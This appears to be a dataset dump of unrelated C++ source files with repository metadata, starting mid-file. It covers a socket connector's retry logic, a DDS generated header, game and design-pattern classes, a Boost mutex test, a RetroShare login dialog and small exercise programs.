SocketOps::closeSocket(sockFd); } } else { int errorCode = GetLastErrorCode(); if(ERR_CONNECT_RETRIABLE(errorCode)) { connecting(sockFd); } else { retry(sockFd); } } } void Connector::restart() { loop_->assertInLoopThread(); setState(kDisconnected); retryDelayMs_ = kInitRetryDelayMs; connect_ = true; startInLoop(); } void Connector::connecting(int sockfd) { setState(kConnecting); assert(!channelPtr_); channelPtr_.reset(new Channel(loop_, sockfd)); channelPtr_->setWriteCallback( std::bind(&Connector::handleWrite, this)); channelPtr_->setErrorCallback( std::bind(&Connector::handleError, this)); // channelPtr_->tie(shared_from_this()); is not working, // as channelPtr_ is not managed by shared_ptr channelPtr_->enableWriting(); channelPtr_->enableErroring(); } int Connector::removeAndResetChannel() { channelPtr_->disableAll(); channelPtr_->remove(); int sockfd = channelPtr_->fd(); // Can't reset channel_ here, because we are inside Channel::handleEvent loop_->queueInLoop(std::bind(&Connector::resetChannel, this)); // FIXME: unsafe return sockfd; } void Connector::resetChannel() { channelPtr_.reset(); } void Connector::handleWrite() { LOG_PRINT(LogType_Debug, "Connector::handleWrite %u", state_); if(state_ == kConnecting) { int sockfd = removeAndResetChannel(); int err = SocketOps::getSocketError(sockfd); if(err) { LOG_PRINT(LogType_Warn, "Connector::handleWrite - SO_ERROR = %u %s", err, GetErrorText(err).c_str()); retry(sockfd); } else { setState(kConnected); if(connect_) { newConnectionCallback_(sockfd); } else { SocketOps::closeSocket(sockfd); } } } else { // what happened? assert(state_ == kDisconnected); } } void Connector::handleError() { LOG_PRINT(LogType_Error, "Connector::handleError state=%u", state_); if(state_ == kConnecting) { int sockfd = removeAndResetChannel(); int err = SocketOps::getSocketError(sockfd); LOG_PRINT(LogType_Debug, "SO_ERROR = %u %s", err, GetErrorText(err).c_str()); retry(sockfd); } } void Connector::retry(int sockfd) { SocketOps::closeSocket(sockfd); setState(kDisconnected); if(connect_) { LOG_PRINT(LogType_Info, "Connector::retry - Retry connecting to %s in %d milliseconds. ", serverAddr_.toIpPort().c_str(), retryDelayMs_); loop_->runAfter(retryDelayMs_ / 1000.0, std::bind(&Connector::startInLoop, shared_from_this())); retryDelayMs_ = (std::min)(retryDelayMs_ * 2, kMaxRetryDelayMs); } else { LOG_PRINT(LogType_Debug, "do not connect"); } } }
[ "410017376@qq.com" ]
410017376@qq.com
73f709bc48e1ae6ab2d6fd830209133453ea4883
428989cb9837b6fedeb95e4fcc0a89f705542b24
/erle/ros2_ws/build/std_msgs/rosidl_typesupport_opensplice_cpp/std_msgs/msg/dds_opensplice/ByteMultiArray_.h
2870c061551e997c8ee4f29b77da63eabc78f430
[]
no_license
swift-nav/ros_rover
70406572cfcf413ce13cf6e6b47a43d5298d64fc
308f10114b35c70b933ee2a47be342e6c2f2887a
refs/heads/master
2020-04-14T22:51:38.911378
2016-07-08T21:44:22
2016-07-08T21:44:22
60,873,336
1
2
null
null
null
null
UTF-8
C++
false
false
1,254
h
//****************************************************************** // // Generated by IDL to C++ Translator // // File name: ByteMultiArray_.h // Source: /home/erle/ros2_ws/build/std_msgs/rosidl_generator_dds_idl/std_msgs/msg/dds_opensplice/ByteMultiArray_.idl // Generated: Sat Nov 7 20:26:43 2015 // OpenSplice V6.4.140407OSS // //****************************************************************** #ifndef _BYTEMULTIARRAY__H_ #define _BYTEMULTIARRAY__H_ #include "sacpp_mapping.h" #include "sacpp_DDS_DCPS.h" #include "MultiArrayLayout_.h" namespace std_msgs { namespace msg { namespace dds_ { struct ByteMultiArray_; struct ByteMultiArray_ { struct _data__seq_uniq_ {}; typedef DDS_DCPSUFLSeq < DDS::Octet, struct _data__seq_uniq_> _data__seq; typedef DDS_DCPSSequence_var < _data__seq> _data__seq_var; typedef DDS_DCPSSequence_out < _data__seq> _data__seq_out; MultiArrayLayout_ layout_; _data__seq data_; }; typedef DDS_DCPSStruct_var < ByteMultiArray_> ByteMultiArray__var; typedef DDS_DCPSStruct_out < ByteMultiArray_> ByteMultiArray__out; } } } #endif
[ "igdoty@swiftnav.com" ]
igdoty@swiftnav.com
16db8ca74380154c970b8ad156a1558ea066c60f
c8e27ffacef16ff11c7cbce5fe4fbf6777ec77c9
/Week9/item.cpp
4ac9ff7fc615a1539eb3270c39e1554b68980949
[]
no_license
JackG1452/Week9-RPG
ed0ca923f67d301a35e94314708a6026a08c3419
be679d4b172fd8020809dcc77341d15cd77723d2
refs/heads/master
2020-04-07T13:22:59.938372
2018-11-22T15:03:32
2018-11-22T15:03:32
158,405,208
0
0
null
null
null
null
UTF-8
C++
false
false
684
cpp
#pragma once #include "item.h" Item::Item() { } Item::Item(std::string itemName, int itemValue, float weight) : itemName_{ itemName }, itemValue_{ itemValue }, weight_{ weight } { } Item::~Item(){} std::string Item::GetItemName() const { return itemName_; } void Item::SetItemName(std::string itemName) { itemName_ = itemName; } int Item::GetItemValue() const { return itemValue_; } void Item::SetItemValue(int itemValue) { itemValue_ = itemValue; } float Item::GetWeight() const { return weight_; } void Item::SetWeight(float weight) { weight_ = weight; } std::string Item::ToString() { return itemName_+ " worth " + std::to_string(itemValue_) + " Gold Coins"; }
[ "gillespie-j20@ulster.ac.uk" ]
gillespie-j20@ulster.ac.uk
f78dd558c967f37317f73c36048955dec8c5fbef
a60ff4ac7b0652675a06d84b7cd1476bd5594a8e
/ex02/AssaultTerminator.hpp
3297553c3d94d6cc3f1ac9aba520c5247e8c1287
[]
no_license
MaximePayant/B-CPP-300-LYN-3-1-CPPD10-maxime.payant-
3798e766990b8991e860b159a5da869391b9ec5c
b19e20f8e0144dac9f9c5f70dd045698a76d22aa
refs/heads/master
2023-08-07T22:16:43.386466
2021-01-17T19:08:57
2021-01-17T19:08:57
406,727,444
0
0
null
null
null
null
UTF-8
C++
false
false
548
hpp
/* ** EPITECH PROJECT, 2021 ** CPP_D07M ** File description: ** AssaultTerminator.hpp */ #ifndef ASSAULT_TERMINATOR_HPP #define ASSAULT_TERMINATOR_HPP #include <iostream> #include "ISpaceMarine.hpp" class AssaultTerminator : public ISpaceMarine { public: AssaultTerminator(); ~AssaultTerminator() override; ISpaceMarine *clone() const override; void battleCry() const override; void rangedAttack() const override; void meleeAttack() const override; }; #endif // ASSAULT_TERMINATOR_HPP
[ "maxime@pop-os.localdomain" ]
maxime@pop-os.localdomain
b6a322fd19b8bd8bb99b43007a63fdf8c99709d0
84638572e7e85082c002ebfa41ff178cb32f6eda
/Observer/ConcreteObserver.h
91213a2246c2af83b0ad6519787365147ae9bb6b
[]
no_license
jiemojiemo/DesignPatterns
096ad1b3813ad96690728ba396e144ed764b1d7f
4604fd20c86c7e7e7260ba2dc89d0034cada348a
refs/heads/master
2021-01-10T22:15:16.639215
2016-10-25T12:14:21
2016-10-25T12:14:21
70,330,719
0
0
null
null
null
null
UTF-8
C++
false
false
284
h
#pragma once #include "Observer.h" #include <iostream> using namespace std; class ConcreteObserver : public Observer { public: ConcreteObserver(int key = 0) :Observer(key) {} virtual void Update(Subject* sub) { Observer::Update(sub); cout << GetKey() << "I do update\n"; } };
[ "460706836@qq.com" ]
460706836@qq.com
c73aaef0485abb9708aa7d59b88ddd52b6712e97
6a0ca6da76c9d680cff1f3b9208cd350b4dd1832
/codeforces/Valera and Antique Items.cpp
83a274bf1876470b0b88b8219d895d7dff1974fc
[]
no_license
srujangit123/Competitive-programming
4b145ea807b92504c8148adca7b83a67f7235f1d
88d40690c278b58b6243402d0757719871eac077
refs/heads/master
2022-12-10T18:32:39.593510
2020-09-07T18:36:32
2020-09-07T18:36:32
277,072,789
1
0
null
null
null
null
UTF-8
C++
false
false
604
cpp
#include <bits/stdc++.h> using namespace std; int main(){ int n, v; int ans = 0; cin >> n >> v; vector <int> k; for(int p = 1; p <= n; ++p){ int s; cin >> s; int amt; int flag = 0; for(int i = 1; i <= s; ++i){ cin >> amt; if(v > amt && !flag){ flag = 1; } } if(flag){ k.push_back(p); } } ans = k.size(); cout << ans << "\n"; sort(k.begin(), k.end()); for(int i = 0; i < ans; ++i) cout << k[i] << " "; return 0; }
[ "srujantmk@gmail.com" ]
srujantmk@gmail.com
39a805626e1d421cb3114445552d5c4bc11fc11f
7353a670a04d55068dc9eb4436d06f834e145efe
/test/thread/test_timed_lock_times_out_if_read_lock_held.cpp
a16b3c89c68bfcc29a767f9bf1af40cbbf0bac1f
[]
no_license
shinobu-x/cpp
a53b25d6c81dbafad59bb9b288f630153ccb0021
0969ba4d3214555617743ddff30847770fd11e96
refs/heads/master
2021-01-22T06:28:29.011183
2018-09-15T10:42:06
2018-09-15T10:42:06
92,556,004
1
0
null
null
null
null
UTF-8
C++
false
false
1,989
cpp
#include <boost/thread/thread_only.hpp> #include <boost/thread/xtime.hpp> #include <cassert> #include "hpp/shared_mutex_locking_thread.hpp" struct test_timed_lock_times_out_if_read_lock_held { void operator()() { shared_mutex rwm_mutex; boost::mutex finish_mutex; boost::mutex unblocked_mutex; unsigned unblocked_count = 0; boost::unique_lock<boost::mutex> finish_lock(finish_mutex); boost::thread reader( simple_reading_thread( rwm_mutex, finish_mutex, unblocked_mutex, unblocked_count)); boost::system_time const start1 = boost::get_system_time(); boost::system_time const timeout1 = start1 + boost::posix_time::seconds(2); boost::thread::sleep(timeout1); { boost::unique_lock<boost::mutex> unblocked_lock(unblocked_mutex); assert(unblocked_count == 1u); } boost::system_time const start2 = boost::get_system_time(); boost::system_time const timeout2 = start2 + boost::posix_time::milliseconds(500); boost::posix_time::milliseconds const timeout_resolution(50); bool timed_lock_succeeded = rwm_mutex.timed_lock(timeout2); { assert((timeout2 - timeout_resolution) < boost::get_system_time()); assert(!timed_lock_succeeded); } if (timed_lock_succeeded) rwm_mutex.unlock(); boost::posix_time::milliseconds const wait_duration(500); boost::system_time const timeout3 = boost::get_system_time() + wait_duration; timed_lock_succeeded = rwm_mutex.timed_lock(wait_duration); { assert((timeout3 - timeout_resolution) < boost::get_system_time()); assert(!timed_lock_succeeded); } if (timed_lock_succeeded) rwm_mutex.unlock(); finish_lock.unlock(); reader.join(); } }; void do_test_timed_lock_times_out_if_read_lock_held() { test_timed_lock_times_out_if_read_lock_held()(); } auto main() -> decltype(0) { do_test_timed_lock_times_out_if_read_lock_held(); return 0; }
[ "shinobu@redhat.com" ]
shinobu@redhat.com
a0b30a29bc01b1cb0371899c57739fd3f1bafee7
6f36dd412a5054b9934f418fac69336a89c64274
/headers/composition.h
578699c2ce9aadf84bcc5af8b937322dc5242c92
[]
no_license
SebastianDixon/Cpp
296f5f739df6c5786e0a6494b599bd71ff9405d0
3c62a4def36f76a165d4dd7dea44ddefeed5001b
refs/heads/master
2023-06-08T17:43:47.240631
2021-07-02T10:47:09
2021-07-02T10:47:09
257,238,047
0
0
null
2020-06-15T13:50:51
2020-04-20T09:51:34
C++
UTF-8
C++
false
false
1,170
h
// // Created by SebDixon on 07/06/2021. // #ifndef UNTITLED_COMPOSITION_H #define UNTITLED_COMPOSITION_H #include <iostream> #include <string> class grid2D{ private: int m_x; int m_y; // both these x and y member variables have a unidirectional relationship with the class grid2D public: grid2D(int x = 0, int y = 0) : m_x{x}, m_y{y} { } void show_loc() const { std::cout << "x:" << m_x << '\t' << "y:" << m_y << '\n'; } void set_loc(int x, int y) { m_x = x; m_y = y; } }; class Player1{ private: std::string m_name; grid2D m_position; public: Player1(std::string &name, grid2D pos) : m_name{name}, m_position(pos) { } void move_pos(int x, int y) { m_position.set_loc(x, y); } void show_pos() { m_position.show_loc(); } }; /* * composition relationship the class is responsible for the existence of the member * if class can be designed using a composition relationship, do, robust and simple * compositions typically use normal member variables * compositions are responsible for creation/destruction of parts */ #endif //UNTITLED_COMPOSITION_H
[ "smedixon@gmail.com" ]
smedixon@gmail.com
6bd86d0b2f25cf53c37b34f22e0d22cd587cbad3
1e944c61257df92db3e8fff37302cfa38e9f1717
/src/ttf_system_fwd.hh
83fa23422d61dd862f514e1716c373b9dc62b635
[]
no_license
wilhelmtell/glasses
273ece7c15d1940c468eed4553e18ff1a87fce8a
650eabcc7170b064e8589ef1b35827861f05184c
refs/heads/master
2021-01-17T12:54:31.700871
2016-07-24T14:18:00
2016-07-24T14:18:00
58,410,678
0
0
null
null
null
null
UTF-8
C++
false
false
108
hh
#ifndef GLS_TTF_SYSTEM_FWD_HH_ #define GLS_TTF_SYSTEM_FWD_HH_ namespace gls { struct ttf_system; } #endif
[ "matan.nassau@gmail.com" ]
matan.nassau@gmail.com
8ba3241d6185de3465b08e548d38c4c05500a6c5
5b4a6b11b68a5f1634dbe3acf65464a9dcb36af7
/PBD/include/physics/CParticleSystem.h
38d28f577375a186b55a0dfcc8c5453d5cfbe436
[ "MIT" ]
permissive
jfelip/experiments-and-learning
30c902d8eac05e594bf256cf2b6ae2c57be9267c
f9c5ac10b7d4990723dece5860c7ddfb8b4cca5d
refs/heads/master
2021-01-21T21:14:38.023243
2018-02-20T04:50:47
2018-02-20T04:50:47
92,321,099
0
0
null
null
null
null
UTF-8
C++
false
false
2,495
h
#ifndef POSITIONBASEDDYNAMICS_CPARTICLESYSTEM_H #define POSITIONBASEDDYNAMICS_CPARTICLESYSTEM_H #include <physics/CParticle.hpp> #include <physics/CConstraint.hpp> #include <memory> #include <vector> #include <CVector3.hpp> namespace PBD { template<typename T_real=double> class CParticleSystem { public: typedef std::shared_ptr< CParticleSystem<T_real> > Ptr; typedef const std::shared_ptr< CParticleSystem<T_real> > ConstPtr; public: CParticleSystem() = default; ~CParticleSystem() = default; CParticleSystem( const CParticleSystem& p ): m_particles( p.m_particles ) { } CParticleSystem( CParticleSystem&& p ) noexcept : m_particles( std::move(p.m_particles) ) { } CParticleSystem &operator=(const CParticleSystem &p) { m_particles = p.m_particles; return *this; } CParticleSystem &operator=(CParticleSystem &&p) noexcept { m_particles = std::move(p.m_particles); return *this; } void getBoundingBox(vec3::Vector3<T_real>& min, vec3::Vector3<T_real>& max) { for (auto it=m_particles.begin(); it<m_particles.end(); ++it) { for (uint i=0; i<3; ++i) { min[i] = std::min(min[i] , (*it)->m_position(i)); max[i] = std::max(max[i] , (*it)->m_position(i)); } } } vec3::Vector3<T_real> getCentroid() { vec3::Vector3<T_real> centroid(0,0,0); for (auto it=m_particles.begin(); it<m_particles.end(); ++it) { for (uint i = 0; i < 3; ++i) { centroid[i] += (*it)->m_position[i]; } } centroid /= m_particles.size(); return centroid; } vec3::Vector3<T_real> getVelocity() { vec3::Vector3<T_real> vel(0,0,0); for (auto it=m_particles.begin(); it<m_particles.end(); ++it) { for (uint i = 0; i < 3; ++i) { vel[i] += (*it)->m_velocity[i]; } } vel /= m_particles.size(); return vel; } std::vector< PBD::CParticle<>* > m_particles; ///< Current state of the particle system. }; } #endif //POSITIONBASEDDYNAMICS_CPARTICLESYSTEM_H
[ "javier.felip.leon@gmail.com" ]
javier.felip.leon@gmail.com
1d63657ac487d3fbba88e9f334214fe69c8ede41
e6769524d7a8776f19df0c78e62c7357609695e8
/branches/0.5.1/retroshare-gui/src/gui/StartDialog.cpp
4c3cc6eed1ed169843783fdc66dc8853f24301ce
[]
no_license
autoscatto/retroshare
025020d92084f9bc1ca24da97379242886277779
e0d85c7aac0a590d5839512af8a1e3abce97ca6f
refs/heads/master
2020-04-09T11:14:01.836308
2013-06-30T13:58:17
2013-06-30T13:58:17
null
0
0
null
null
null
null
UTF-8
C++
false
false
6,545
cpp
/**************************************************************** * RetroShare is distributed under the following license: * * Copyright (C) 2006, 2007 crypton * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, * Boston, MA 02110-1301, USA. ****************************************************************/ #include <rshare.h> #include <retroshare/rsinit.h> #include "StartDialog.h" #include "InfoDialog.h" #include "LogoBar.h" #include <QFileDialog> #include <QMessageBox> #include "util/Widget.h" #include "settings/rsharesettings.h" /* Define the format used for displaying the date and time */ #define DATETIME_FMT "MMM dd hh:mm:ss" /** Default constructor */ StartDialog::StartDialog(QWidget *parent, Qt::WFlags flags) : QMainWindow(parent, flags), reqNewCert(false) { /* Invoke Qt Designer generated QObject setup routine */ ui.setupUi(this); /* Create Bandwidth Graph related QObjects */ Settings->loadWidgetInformation(this); _rsLogoBar = NULL; //LogoBar _rsLogoBar = new LogoBar(ui.callBarFrame); Widget::createLayout(ui.callBarFrame)->addWidget(_rsLogoBar); ui.loadButton->setFocus(); connect(ui.loadButton, SIGNAL(clicked()), this, SLOT(loadPerson())); connect(ui.autologin_checkbox, SIGNAL(clicked()), this, SLOT(notSecureWarning())); /* load the Certificate File name */ std::string userName; /* get all available pgp private certificates.... * mark last one as default. */ std::list<std::string> accountIds; std::list<std::string>::iterator it; std::string preferedId; RsInit::getPreferedAccountId(preferedId); int pidx = -1; int i; if (RsInit::getAccountIds(accountIds)) { for(it = accountIds.begin(), i = 0; it != accountIds.end(); it++, i++) { const QVariant & userData = QVariant(QString::fromStdString(*it)); std::string gpgid, name, email, location; RsInit::getAccountDetails(*it, gpgid, name, email, location); QString accountName = QString::fromStdString(name + " (") + QString::fromStdString(gpgid).right(8) + ") - " + QString::fromStdString(location); ui.loadName->addItem(accountName, userData); if (preferedId == *it) { pidx = i; } } } if (pidx > 0) { ui.loadName->setCurrentIndex(pidx); } } /** Overloads the default show() slot so we can set opacity*/ void StartDialog::show() { //loadSettings(); if(!this->isVisible()) { QMainWindow::show(); } } void StartDialog::closeEvent (QCloseEvent * event) { Settings->saveWidgetInformation(this); QWidget::closeEvent(event); } void StartDialog::closeinfodlg() { close(); } void StartDialog::loadPerson() { std::string accountId = ""; int pgpidx = ui.loadName->currentIndex(); if (pgpidx < 0) { /* Message Dialog */ QMessageBox::warning ( this, "Load Person Failure", "Missing PGP Certificate", QMessageBox::Ok); return; } QVariant data = ui.loadName->itemData(pgpidx); accountId = (data.toString()).toStdString(); std::string gpgId, gpgName, gpgEmail, sslName; if (RsInit::getAccountDetails(accountId, gpgId, gpgName, gpgEmail, sslName)) { RsInit::SelectGPGAccount(gpgId); } RsInit::LoadPassword(accountId, ""); loadCertificates(); } void StartDialog::loadCertificates() { /* Final stage of loading */ int retVal = RsInit::LockAndLoadCertificates(ui.autologin_checkbox->isChecked()); switch(retVal) { case 0: close(); break; case 1: QMessageBox::warning( this, tr("Multiple instances"), tr("Another RetroShare using the same profile is " "already running on your system. Please close " "that instance first, or choose another profile") ); break; case 2: QMessageBox::warning( this, tr("Multiple instances"), tr("An unexpected error occurred when Retroshare" "tried to acquire the single instance lock") ); break; case 3: QMessageBox::warning( this, tr("Login Failure"), tr("Maybe password is wrong") ); break; default: std::cerr << "StartDialog::loadCertificates() unexpected switch value " << retVal << std::endl; } } void StartDialog::on_labelProfile_linkActivated(QString link) { // if ((QMessageBox::question(this, tr("Create a New Profile"),tr("This will generate a new Profile\n Are you sure you want to continue?"),QMessageBox::Yes|QMessageBox::No, QMessageBox::Yes))== QMessageBox::Yes) // { reqNewCert = true; close(); // } // else // return; } void StartDialog::on_labelInfo_linkActivated(QString link) { InfoDialog infodialog (this); infodialog.exec (); } bool StartDialog::requestedNewCert() { return reqNewCert; } LogoBar & StartDialog::getLogoBar() const { return *_rsLogoBar; } void StartDialog::notSecureWarning() { /* some error msg */ if(ui.autologin_checkbox->isChecked()) #ifdef UBUNTU QMessageBox::warning ( this, tr("Warning"), tr("The passwd to your SSL certificate (your location) will be stored encrypted in your Gnome Keyring. \n\n Your PGP passwd will not be stored.\n\nThis choice can be reverted in settings."), QMessageBox::Ok); #else QMessageBox::warning ( this, tr("Warning"), tr("The passwd to your SSL certificate (your location) will be stored encrypted in the keys/help.dta file. This is not secure. \n\n Your PGP passwd will not be stored.\n\nThis choice can be reverted in settings."), QMessageBox::Ok); #endif return; }
[ "csoler@b45a01b8-16f6-495d-af2f-9b41ad6348cc" ]
csoler@b45a01b8-16f6-495d-af2f-9b41ad6348cc
207a147132b88475560fd499c62fbe66b7eedf35
dd03c482f13a23ff555ef5e1138457ba6e72f87f
/chapter12/src/StrBlob.h
0bc2c65d072e1e6773e039218e43ef62b2b90b02
[]
no_license
xiweihuang/Primer
8c85897b830721ed11b748d5f5bb5e044682934e
1b0cc7ad9975162029cf71bdcdbc6cc54cfc965e
refs/heads/master
2020-05-14T06:12:52.059540
2015-11-06T10:05:38
2015-11-06T10:05:38
33,618,968
0
0
null
null
null
null
UTF-8
C++
false
false
1,130
h
#ifndef STR_BLOB_H #define STR_BLOB_H #include <vector> #include <string> #include <memory> #include <initializer_list> using namespace std; class StrBlob { public: typedef std::vector<std::string>::size_type size_type; StrBlob(); StrBlob(std::initializer_list<std::string> il); size_type size() const { return data_->size(); } bool empty() const { return data_->empty(); } void push_back(const std::string &t); void pop_back(); std::string& front(); std::string& back(); const std::string& front() const { return data_->front(); } const std::string& back() const { return data_->back(); } private: std::shared_ptr<std::vector<std::string>> data_; // void check() }; inline StrBlob::StrBlob() : data_(make_shared<vector<string>>()) { } inline StrBlob::StrBlob(initializer_list<string> il) : data_(make_shared<vector<string>>(il)) { } inline void StrBlob::push_back(const string &t) { data_->push_back(t); } inline void StrBlob::pop_back() { data_->pop_back(); } inline string& StrBlob::front() { return data_->front(); } inline string& StrBlob::back() { return data_->back(); } #endif
[ "xiweihuang@qq.com" ]
xiweihuang@qq.com
2c35bacb1187c12dfeb18c48d0508596ae0f3ca1
e741f43e6f28669f1330faa422bbf44c496b63b4
/old/session04_Primes/fermat.cc
6378ddd4df6dae06bde15831848b8e45586392b3
[]
no_license
StevensDeptECE/CPE593
d5ee7816a42d9db112a9618fb95c14922ccd8e75
3ca8115e84287a2afd18d27976720c159ab056a2
refs/heads/master
2023-04-26T21:07:47.252333
2023-04-19T01:25:09
2023-04-19T01:25:09
102,521,068
50
51
null
2023-03-05T17:45:52
2017-09-05T19:22:17
C++
UTF-8
C++
false
false
166
cc
bool fermat(uint64_t p, int k) { for (int i = 0; i < k; i++) { a = random(2, p-1); if (powermod(a, p-1, p) != 1) return false; } return true; //probably! }
[ "dov.kruger@stevens.edu" ]
dov.kruger@stevens.edu